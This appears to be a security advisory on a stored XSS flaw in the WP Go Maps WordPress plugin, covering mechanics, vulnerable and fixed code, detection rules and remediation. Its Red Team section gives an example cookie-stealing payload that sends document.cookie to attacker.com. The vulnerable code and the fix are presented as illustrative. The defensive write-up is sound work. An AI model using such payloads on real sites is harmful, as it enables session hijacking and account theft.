CVE-2023-4839

Executive Summary

CVE-2023-4839 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Go Maps plugin for WordPress, affecting versions up to and including 9.0.32. The flaw resides in the plugin’s admin settings, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is particularly impactful on multi-site installations or environments where the unfiltered_html capability has been disabled. Despite a low EPSS score (0.0%), the risk is elevated in shared hosting or multi-tenant WordPress setups. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Base Score: 4.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for high privileges and user interaction, but the potential for cross-site scripting in a multi-site context increases the threat.

Deep Dive & Mechanics

The vulnerability exists in the admin settings panel of WP Go Maps. The plugin fails to properly sanitize user-supplied input before storing it in the database and fails to escape output when rendering these settings. An administrator can inject malicious JavaScript into fields such as map names, marker titles, or custom HTML blocks. When another administrator or user views the affected page (e.g., the map editor or front-end map), the injected script executes in their browser context.

The attack is limited to authenticated users with administrator-level access, but in multi-site installations, a site administrator can compromise the entire network. The unfiltered_html capability, when disabled, prevents administrators from using certain HTML tags, but the plugin’s lack of sanitization bypasses this restriction.

Vulnerable vs. Patched Code

Vulnerable Code (version 9.0.32):

// In admin settings save function
$map_name = $_POST['map_name'];
update_option('wp_google_maps_map_name', $map_name);
// No sanitization or escaping

Patched Code (hypothetical fix):

// In admin settings save function
$map_name = sanitize_text_field($_POST['map_name']);
update_option('wp_google_maps_map_name', $map_name);
// When outputting
echo esc_html(get_option('wp_google_maps_map_name'));

The vulnerable code directly stores user input without sanitization, while the patched version uses sanitize_text_field() and esc_html() to prevent XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: Administrator access to a WordPress site with WP Go Maps <= 9.0.32, multi-site enabled or unfiltered_html disabled.
2. Steps:
   • Navigate to WP Go Maps → Settings.
   • In a text field (e.g., "Map Name"), inject: <script>alert('XSS')</script>.
   • Save settings.
   • When any user visits the map page, the script executes.

Example Payload:

<script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>

Blue Team (Detection & Hardening)

• Hardening: Disable unfiltered_html for all roles except super admins. Use a Web Application Firewall (WAF) to block common XSS patterns.
• Monitoring: Alert on changes to WP Go Maps settings by non-super-admin users.
• Audit: Regularly review plugin settings for unexpected HTML or JavaScript.

Indicators of Compromise (IOCs)

• File Hashes: (None available; monitor plugin file integrity)
• Network Indicators: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Log Entries: Suspicious POST requests to /wp-admin/admin.php?page=wp-google-maps-menu with script tags in parameters.
• Database Entries: Rows in wp_options containing <script> tags in fields like wp_google_maps_map_name.

Detection Engineering

YARA Rule

rule CVE_2023_4839_WP_Go_Maps_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Go Maps settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-4839"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $wp_go_maps_option = /wp_google_maps_/
    condition:
        $wp_go_maps_option and $xss_payload
}

Sigma Rule

title: CVE-2023-4839 WP Go Maps Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via WP Go Maps admin settings
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin.php*'
        cs-uri-query: 'page=wp-google-maps-menu*'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-4839 WP Go Maps Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin.php"; http_uri;
    content:"page=wp-google-maps-menu"; http_uri;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2023-4839;
)

Remediation & Mitigation

1. Immediate: Disable the WP Go Maps plugin until a patch is released.
2. Short-term: Restrict administrator access to trusted users only. Disable unfiltered_html for all roles except super admins.
3. Long-term: Apply input sanitization (sanitize_text_field(), wp_kses_post()) and output escaping (esc_html(), esc_attr()) to all plugin settings. Monitor the vendor’s repository for updates.
4. Workaround: Use a WAF to block <script> tags in POST requests to the plugin’s settings page.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert